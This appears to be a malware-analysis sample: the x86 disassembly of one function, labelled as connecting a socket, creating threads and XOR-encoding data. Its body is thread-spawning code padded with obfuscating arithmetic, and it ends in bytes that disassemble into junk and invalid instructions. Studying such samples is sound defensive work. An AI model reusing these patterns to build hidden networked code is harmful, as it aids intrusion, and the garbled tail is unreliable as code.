Function at 0x40ab50
Capabilities:
Connect socket
Create thread
Encode data using xor

Disassembly:
sub esp, 0x1c
fldz
xor eax, eax
mov word [esp + 8], ax
xor ecx, ecx
mov word [esp], cx
fst dword [esp + 0xc]
xor edx, edx
push ebx
mov word [esp + 4], dx
fstp dword [esp + 8]
fldz
push esi
xor esi, esi
fstp qword [esp + 0x1c]
push edi
mov dword [0x42788c], eax
lea ebx, [eax + 1]
cmp dword [0x425ee8], eax
je 0x40ac5e
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x40aba0
fld dword [esp + 0x10]
fsubr qword [0x41fa78]
fstp qword [0x4252d0]
fld dword [esp + 0x10]
mov dword [esi*4 + 0x4273c8], 0
fsub qword [0x41f348]
fstp dword [esp + 0x10]
mov ax, word [0x423238]
movsx ecx, ax
sub ecx, 0x64eb6a83
cmp ecx, 0xdd60a7fb
jle 0x40ac2a
fld dword [0x425f4c]
mov dx, word [0x4231a0]
movsx eax, dx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
faddp st(1)
fld qword [0x425a18]
mov cx, word [0x4259c8]
movsx edx, cx
mov dword [esp + 0x1c], edx
fild dword [esp + 0x1c]
faddp st(2)
fsubrp st(1)
fstp qword [0x425a18]
add word [0x4259c8], bx
add word [0x4231a0], bx
push 0
push 0
push esi
push 0x402ab0
push 0
push 0
call edi
add dword [esp + 0x14], ebx
movzx eax, word [esp + 0x14]
movzx ecx, word [esp + 0x14]
imul eax, ecx
add esi, ebx
mov word [esp + 0x14], ax
cmp esi, dword [0x425ee8]
jne 0x40aba0
fld qword [esp + 0x20]
fcomp qword [0x41fa70]
fnstsw ax
test ah, 0x41
jne 0x40ac81
add dword [esp + 0xc], ebx
mov dx, word [esp + 0xc]
mov word [0x4241cc], dx
jmp 0x40acad
fld dword [0x425034]
fsub qword [0x41fa68]
fsub dword [esp + 0x18]
mov ax, word [esp + 0xc]
movsx ecx, ax
mov dword [esp + 0x1c], ecx
fild dword [esp + 0x1c]
fmulp st(1)
call fcn.0040b620
mov word [esp + 0xc], ax
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call edi
mov dx, word [str._hm]
movsx eax, dx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fadd qword [0x424fc8]
mov cx, word [0x4259b8]
add word [0x4259b8], bx
movsx edx, cx
fsub qword [0x41fa60]
add edx, 0x2243f096
mov dword [esp + 0x1c], edx
fild dword [esp + 0x1c]
fcompp
fnstsw ax
test ah, 1
jne 0x40ad09
mov ax, word [0x424180]
mov word [0x425984], ax
dec word [0x424f04]
fld dword [esp + 0x10]
fld dword [esp + 0x18]
mov cx, word [0x424f04]
fsub qword [0x41fa58]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEvent]
movsx edx, cx
mov dword [esp + 0x1c], edx
mov esi, 0x425eec
fild dword [esp + 0x1c]
fsubp st(1)
fsubp st(1)
fstp dword [esp + 0x10]
movzx eax, word [esi]
mov ecx, dword [eax*4 + 0x4273c8]
push ecx
call ebx
mov dx, word [esp + 0xc]
movsx eax, dx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fadd qword [0x4241f0]
call fcn.0040b620
movzx ecx, word [esi]
cmp dword [ecx*4 + 0x4273c8], 0
mov word [esp + 0xc], ax
je 0x40adb1
lea ecx, [ecx]
push 0xa
call edi
mov dx, word [esp + 0xc]
movsx eax, dx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fadd qword [0x4241f0]
call fcn.0040b620
movzx ecx, word [esi]
cmp dword [ecx*4 + 0x4273c8], 0
mov word [esp + 0xc], ax
jne 0x40ad80
dec word [0x424f04]
fld dword [esp + 0x10]
fld dword [esp + 0x18]
mov dx, word [0x424f04]
fsub qword [0x41fa58]
movsx eax, dx
mov dword [esp + 0x1c], eax
add esi, 2
fild dword [esp + 0x1c]
fsubp st(1)
fsubp st(1)
fstp dword [esp + 0x10]
cmp esi, 0x425ef4
jne 0x40ad43
mov ecx, dword [0x4241c0]
add ecx, 0x761a395a
mov dword [0x423110], ecx
call dword [0x42788c]
jg 0x40ae6d
cld
or cl, byte [esi + 0x586c11c5]
out dx, al
xchg ah, cl
inc edi
invalid
mov ebp, 0x86ab5e38
les edi, [ebx - 0x6c]
wait
mov edx, 0x59567fc
mul dword [ecx]
adc bl, dl
wait
sal dword [0xc230f4d3], 1
in al, 0xc3
sar byte [ecx], 0xd
jae 0x40aec6
les ebx, [ebp - 0x44c53b51]
xor eax, 0x181663c2
push 0x2d
push 0x3d
xor dh, byte [edi]
invalid
push esp
inc ecx
invalid